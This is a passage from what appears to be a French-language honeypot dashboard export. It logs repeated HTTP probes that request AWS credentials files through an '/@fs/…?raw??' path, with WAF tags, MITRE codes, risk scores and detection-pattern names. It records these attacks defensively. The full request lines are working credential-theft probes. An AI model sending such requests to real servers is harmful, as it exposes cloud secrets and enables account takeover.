"request_sample": "GET \/@fs\/root\/.aws\/credentials?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/root\/.aws\/credentials?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64;",
"evidence": {
"method": "GET",
"path": "\/@fs\/root\/.aws\/credentials",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/root\/.aws\/credentials?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/root\/.aws\/credentials?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/root\/.aws\/credentials?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64;",
"classification_reason": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal",
"config_leak_scan"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "f84a722249f01220e6b9664785cc6af322768384",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/root\/.aws\/credentials",
"request_line": "GET \/@fs\/root\/.aws\/credentials?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/root\/.aws\/credentials?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64;",
"attack_vector": "credential file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/root\/.aws\/credentials",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 82,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"SIGMA-web-credential-file",
"pat-0468",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"SIGMA-web-credential-file",
"pat-0468",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/root\/.aws\/credentials",
"request_line": "GET \/@fs\/root\/.aws\/credentials?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "credential file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/root\/.aws\/credentials",
"evidence_snippet": "GET \/@fs\/root\/.aws\/credentials?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64;",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dependency_confusion_probe",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:11 UTC
TCP
8080 · HTTP
Sonde fichier credential / clé
credential file probe · via HTTP:8080 · (tentative d'exploit) · → /@fs/home/ubuntu/.aws/credentials
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /@fs/home/ubuntu/.aws/credentials UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950316:lfi-14
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/@fs/home/ubuntu/.aws/credentials
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/home/ubuntu/.aws/credentials
Pourquoi cette classification : Sonde fichier sensible: fichier credential/clé · Règle WAF « lfi-14 » · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
SIGMA-web-credential-file
pat-0468
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
Cred AWS credentials file
Ligne de requête
GET /@fs/home/ubuntu/.aws/credentials?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-14
rce-0
nosqli-3
Payload (extrait)
GET /@fs/home/ubuntu/.aws/credentials?raw?? HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows NT 10.0;
Requête brute (extrait)
GET /@fs/home/ubuntu/.aws/credentials?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 5,
"http_path_ext": "aws\/credentials",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "03992dc8e6699808f4d2953a69d56f71dfc80742",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 236,
"payload_entropy": 5.393992859567936,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 82,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.3,
"risk_breakdown": {
"waf": 100,
"classification": 82,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "3e439945a2916d75cddf45409896a7f32e49f1b4",
"event_fingerprint": "331c94f32a96cda3fed6ebc79f77c786d298b926",
"classification_reason": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 225,
"precision_signals": [
"SIGMA-web-credential-file",
"pat-0468",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"SIGMA-web-credential-file",
"pat-0468",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0468"
],
"matched_pattern_names": [
"Cred AWS credentials file"
],
"pattern_ids": [
"pat-0468"
],
"confidence_breakdown": {
"waf": 100,
"classification": 82,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "lfi_attack",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "276053da511eab93e14d95a9dfe39d65",
"path_pattern_hash": "d924e286a8cc4607e27ca8102df76095"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"payload_preview": "GET \/@fs\/home\/ubuntu\/.aws\/credentials?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; ",
"method": "GET",
"path": "\/@fs\/home\/ubuntu\/.aws\/credentials",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/home\/ubuntu\/.aws\/credentials?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/home\/ubuntu\/.aws\/credentials?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/home\/ubuntu\/.aws\/credentials?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0;",
"evidence": {
"method": "GET",
"path": "\/@fs\/home\/ubuntu\/.aws\/credentials",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/home\/ubuntu\/.aws\/credentials?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/home\/ubuntu\/.aws\/credentials?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/home\/ubuntu\/.aws\/credentials?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0;",
"classification_reason": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal",
"config_leak_scan"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "aa3e22563dc0117e016f74a9aa2c481240017593",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/home\/ubuntu\/.aws\/credentials",
"request_line": "GET \/@fs\/home\/ubuntu\/.aws\/credentials?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/home\/ubuntu\/.aws\/credentials?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0;",
"attack_vector": "credential file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/home\/ubuntu\/.aws\/credentials",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 82,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"SIGMA-web-credential-file",
"pat-0468",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"SIGMA-web-credential-file",
"pat-0468",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/home\/ubuntu\/.aws\/credentials",
"request_line": "GET \/@fs\/home\/ubuntu\/.aws\/credentials?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "credential file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/home\/ubuntu\/.aws\/credentials",
"evidence_snippet": "GET \/@fs\/home\/ubuntu\/.aws\/credentials?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0;",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dependency_confusion_probe",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:11 UTC
TCP
8080 · HTTP
Sonde fichier credential / clé
credential file probe · via HTTP:8080 · (tentative d'exploit) · → /@fs/home/node/.aws/credentials
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /@fs/home/node/.aws/credentials UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950316:lfi-14
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/@fs/home/node/.aws/credentials
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/home/node/.aws/credentials
Pourquoi cette classification : Sonde fichier sensible: fichier credential/clé · Règle WAF « lfi-14 » · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
SIGMA-web-credential-file
pat-0468
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
Cred AWS credentials file
Ligne de requête
GET /@fs/home/node/.aws/credentials?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-14
rce-0
nosqli-3
Payload (extrait)
GET /@fs/home/node/.aws/credentials?raw?? HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows NT 10.0; Wi
Requête brute (extrait)
GET /@fs/home/node/.aws/credentials?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 5,
"http_path_ext": "aws\/credentials",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "24dbbc90becf537fca124aaafb9ddb86cda375d0",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 234,
"payload_entropy": 5.36685261978719,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 82,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.3,
"risk_breakdown": {
"waf": 100,
"classification": 82,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "3e439945a2916d75cddf45409896a7f32e49f1b4",
"event_fingerprint": "970f260039fb6fb6c32951e6578b8da480078234",
"classification_reason": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 225,
"precision_signals": [
"SIGMA-web-credential-file",
"pat-0468",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"SIGMA-web-credential-file",
"pat-0468",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0468"
],
"matched_pattern_names": [
"Cred AWS credentials file"
],
"pattern_ids": [
"pat-0468"
],
"confidence_breakdown": {
"waf": 100,
"classification": 82,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "lfi_attack",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "5fc749717adaf0f27f67532757e2f260",
"path_pattern_hash": "2ba3e7f6ab2fb41c67a843272a477c5e"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"payload_preview": "GET \/@fs\/home\/node\/.aws\/credentials?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Wi",
"method": "GET",
"path": "\/@fs\/home\/node\/.aws\/credentials",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/home\/node\/.aws\/credentials?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/home\/node\/.aws\/credentials?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/home\/node\/.aws\/credentials?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Wi",
"evidence": {
"method": "GET",
"path": "\/@fs\/home\/node\/.aws\/credentials",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/home\/node\/.aws\/credentials?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/home\/node\/.aws\/credentials?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/home\/node\/.aws\/credentials?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Wi",
"classification_reason": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal",
"config_leak_scan"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "d545b398f9a894f6d6c959c7eba79762e1c5428c",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/home\/node\/.aws\/credentials",
"request_line": "GET \/@fs\/home\/node\/.aws\/credentials?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/home\/node\/.aws\/credentials?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Wi",
"attack_vector": "credential file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/home\/node\/.aws\/credentials",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 82,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"SIGMA-web-credential-file",
"pat-0468",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"SIGMA-web-credential-file",
"pat-0468",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
